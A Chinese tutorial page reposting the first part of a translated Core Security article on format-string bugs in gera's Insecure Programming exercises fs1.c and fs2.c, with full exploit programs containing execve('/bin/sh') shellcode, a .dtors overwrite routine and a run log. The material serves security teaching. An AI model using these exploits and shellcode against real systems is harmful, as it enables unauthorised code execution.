庞大资源库的计算机教程网站!
设为首页
加入收藏
总编信箱
投稿或申请专栏请先 [登 陆]
首页 操作系统 程序设计 图形图像 媒体动画 机械电子 WEB开发 数 据 库 办公系列 路由技术 网络原理 网络应用
认证考试 安全技术
首页>安全技术>软件破解>脱壳技术>正文
资料搜索
Google搜索
Google
返回上级列表

推荐文章

快速保存网页中所有图片的方法
Windows中让光驱巧妙“隐身”技
防范非法用户入侵Win 2000/XP系
两款比较典型的ASP木马防范方法
有关表格边框的css语法整理
Windows XP中可以被禁用的服务
SQL Server导出导入数据方法
Javascript所有对象的属性的获
网页(HTML)中的特殊字符
与篮球共舞,尽显模式本色
QQ病毒的手工清除方法
Photoshop为极品美女打造性感睫
天衣无缝:IIS与PHP水火也相容
SQL Server存储过程编写和优化

非安全编程演示之格式化字符串篇version1.1 上

 作者:本站收集   日期:2005-5-27
字号选择〖 〗/ 双击滚屏 单击停止   
目录:
简介
Fs1.c分析
Fs2.c分析
Fs3.c分析
Fs4.c分析
Fs5.c分析
结论
参考


译者注:
本文由Core Security发布,通过gera的Insecure Programming中的5个例子说明格式化字符串漏洞。alert7前辈曾经由这5个例子写了《非安全编程演示之格式化字符串篇》,所以我也就使用了同样的名字。翻译中的错误之处还请各位高手斧正。


简介

在这篇文章中,Core Security将展示c语言程序中程序员常犯的一些错误。通过gera举的5个例子来说明format string(格式化字符串)这类型的问题。我们将确切指出程序中的bug,并将阐述这种错误为什么是危险的,并针对每一个例子都将有一个exploit。在这篇文章中,测试的平台是 Linux Slackware 8.0 server(IA32),编译器是 GNU GCC 2.95.3:

user@CoreLabs:~$ uname -a
Linux CoreLabs 2.4.5 #31 SMP Sat Mar 2 03:04:23 EET 2002 i586 unknown

user@CoreLabs:~$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/2.95.3/specs
gcc version 2.95.3 20010315 (release)

user@CoreLabs:~$ cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 5
model : 2
model name : Pentium 75 - 200

user@CoreLabs:~$


我们假设读者有c编程经验,并且有stack overflow,format string,GOT等的基础知识。在
本文中将不再一一赘述这些溢出的原理。如果不熟悉,请阅读文末的参考里的文章。


这篇文章以后的更新版本里也许会包括其他平台上的format string信息,大家可以在
www.core-sec.com下载到最新版本。


有任何问题,请联系:info@core-sec.com


fs1.c分析

这个例子的代码如下
/* fs1.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* Don't forget, *
* more is less, *
* here's a proof */


int main(int argv,char **argc) {
short int zero=0;
int *plen=(int*)malloc(sizeof(int));
char buf[256];


// The next line is added by Core Security to ease exploitation.
printf("%p\n", &zero);


strcpy(buf,argc[1]);
printf("%s%hn\n",buf,plen);
while(zero);
}


这个例子没有离奇的地方。下面是printf()的man page中所说:

n The number of characters written so far is stored into the
integer indicated by the int * (or variant) pointer argument. No
argument is converted.

h A following integer conversion corresponds to a short int or
unsigned short int argument, or a following n conversion corresponds
to a pointer to a short int argument.
(译者注:%n在格式化中的意思是将显示内容的长度输出到一个变量中去。%h的意思
是把后面对应的内容转换为short int型)


如果攻击者提供260 bytes长的参数,最后四个字节将覆盖指针*plen。当接下来执行
printf()时,将会在*plen(这个值由攻击者控制)所指向的内存中写入一些字符。然而,
由于format string中的h,攻击者将只能写两个字节(short write---由于h的转换)到这个内存
地址。如果提供的参数大于260字节,那么将会覆盖zero,这个例子的程序将进入死循环。


|_________________________ |
| shellcode addr |\
| shellcode addr | \
65276 bytes
| shellcode addr | /
| shellcode addr |/
| -------------------------|\
| zero address | 4 bytes
| ------------------------ |/
| AAAAAAAA |\
| | 256 bytes
| AAAAAAAA |/
| ------------------------ |
| |


溢出是可能的,但是并不容易。攻击者可能采用传统的攻击流程,覆盖程序在栈上的
返回地址。这里只有一个障碍---死循环(endless loop)。argc[1]需要精心构造,另外有针对zero的检查,如果为NULL字节,程序将正常退出(这样就执行了shellcode)(译者注:绕过了死循环,因为zero为0,while循环结束)。这可以通过%hn的格式参数来完成。zero是两个字节长,包含了两个NULL字节的较小的数是0x10000(65536的16进制)。所以,如果argc[1]是65536bytes长,*plen指向了zero的地址的话,死循环将被绕过。argc[1]的前256个字节为垃圾(译者注:用于填充buffer),4字节为zero的地址,接下来65276字节填充shellcode地址。

这个例子中真正的障碍是在栈中找出zero的地址。这就是我们在例子中额外加一行
print出zero的地址的原因。Exploit代码如下:


/*
** exp_fs1.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


/* May need some tweaking */
#define ZERO_ADDRESS 0xbffefeca


/* 24 bytes shellcode */
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main(void) {


char *env[3] = {shellcode, NULL};
char evil_buffer[65536 + 1] ;
char *p;
int ret = 0xbffffffa - strlen(shellcode) -
strlen("/home/user/gera/fs1");
int i;


printf("Shellcode address: 0x%x\n", ret);


/* Constructing the buffer */
p = evil_buffer;


memset(p, 'A', 256);
p += 256;


*((void **)p) = (void *) (ZERO_ADDRESS);
p += 4;


/* 16319 x 4 = 65276 */
for(i = 0; i < 16319; i++) {
*((void **)p) = (void *) (ret);
p += 4;
}


*p = '\0';


execle("/home/user/gera/fs1", "fs1", evil_buffer, NULL, env);
}


fs2.c分析

这个例子的代码如下:


/* fs2.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
char buf[256];


snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}


程序员在这里谨慎的使用了“安全的”函数snprintf()防止溢出。然而,他在两个调用中都使用了%hn参数。如果攻击者构造特殊的缓冲区,并把格式化字符传递过去,那么将会造成溢出。注意到snprintf()的格式化参数--“%s%c%hn”的地址都是从argc[1](argc[2]对应第二个snprintf())。这是程序中的另一个错误。

第一个格式化参数是%s--它要求一个指针为string。snprintf()函数内存中处理argc[1]的地址,直到遇到一个null的字符('\0')结束。第二个参数是%c---对应一个整型。比如说如果argc[1]的地址是0xb f f f f 764,snprintf()将把字符等效为最小有效字(least significant byte)处理(用可理解的形式来说就是)--‘d'(d=0x64)。第三个参数也是%c,作用和前一个参数同。第四个参数将写出到目前为止snprintf()所打印的字符的个数。%hn将一个指针保存为整型。它将把argc[1]里的头四个字节写入(所有字节数)这四个字节所指向的地址(例如,如果argc[1]
像这样“\xbb\xaa\xff\xbf\x41\x41\x41\x41\x43\x44”,那么将写入地址0xbfffaabb)。如果argc[1]有600bytes长,那么写入0xbfffaabb的值将是602(600来自%s,1个来自%c,另一个来自第二个%c)。记住%hn是一个short write(一次写2 bytes),攻击者只好把他想覆盖为shellcode的地址的地址分为两部分来写

攻击者向这个例子所传递的字符串,将首先包含4 bytes(可能为一个GOT entry的地址)然后是一些垃圾。字符串的长度控制了写入GOT entry地址的值。下面是一个可能的exploit(通过覆盖heap的.dtors地址):


/*
** exp_fs2.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>
#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs2"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


int main(void) {

char *env[3] = {shellcode, NULL};
unsigned int first_half, second_half;
char evil_buffer_1[65500], evil_buffer_2[65500], temp_buffer[64];
char *p;
int dtors;
int ret = 0xbffffffa - strlen(shellcode) -
strlen("/home/user/gera/fs2");
FILE *f;


printf("Shellcode address: 0x%x\n", ret);


/* Splitting shellcode address in two */
first_half = (ret & 0xffff0000) >> 16;
printf("\nShellcode address - first half : 0x%x, %u\n", first_half,
first_half);


second_half = ret & 0x0000ffff;
printf("Shellcode address - second half: 0x%x, %u\n", second_half,
second_half);


sprintf(temp_buffer, "%s -t %s | %s dtors", OBJDUMP, VICTIM, GREP);
f = popen(temp_buffer, "r");
if( fscanf(f, "%x", &dtors) != 1) {
pclose(f);
printf("Error: Cannot find .dtors address!\n");
exit(1);
}

dtors += 4;
printf(".dtors address is: 0x%x\n\n", dtors);


/* First buffer writes first half of shellcode address*/

p = evil_buffer_1;


*((void **)p) = (void *) (dtors + 2);
p += 4;


/* 4 for .dtors addres and 2 for %c%c */
memset(p, 'A', (first_half - 4 - 2));
p += (first_half - 4 - 2);


*p = '\0';


/* Second buffer writes second half of shellcode address*/


p = evil_buffer_2;


*((void **)p) = (void *) (dtors);
p += 4;


/* 4 for .dtors addres and 2 for %c%c */
memset(p, 'B', (second_half - 4 - 2));
p += (second_half - 4 - 2);


*p = '\0';


execle("/home/user/gera/fs2", "fs2", evil_buffer_1, evil_buffer_2,
NULL, env);
}


运行如下:


user@CoreLabs:~/gera$ gcc fs2.c -o fs2
user@CoreLabs:~/gera$ gcc exp_fs2.c -o exp_fs2
user@CoreLabs:~/gera$ ./exp_fs2


Shellcode address: 0xbfffffcd
Shellcode address - first half : 0xbfff, 49151
Shellcode address - second half: 0xffcd, 65485
.dtors address is: 0x8049590

上一篇:非安全编程演示之格式化字符串篇version1.1 下    下一篇:Thebat!139脱壳详情及对Asprotect加壳保护的一点小结  
[发送给好友]  [关闭窗口]  [返回顶部]   转载请注明来源:www.it00.com   
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
责任编辑: 原点 投稿作者: 本站收集
信息来源: 网络 录入时间: 2005-5-27
关于我们 - 广告服务 - 版权申明 - 网站地图 - 联系方式 - 总编信箱 - 会员投稿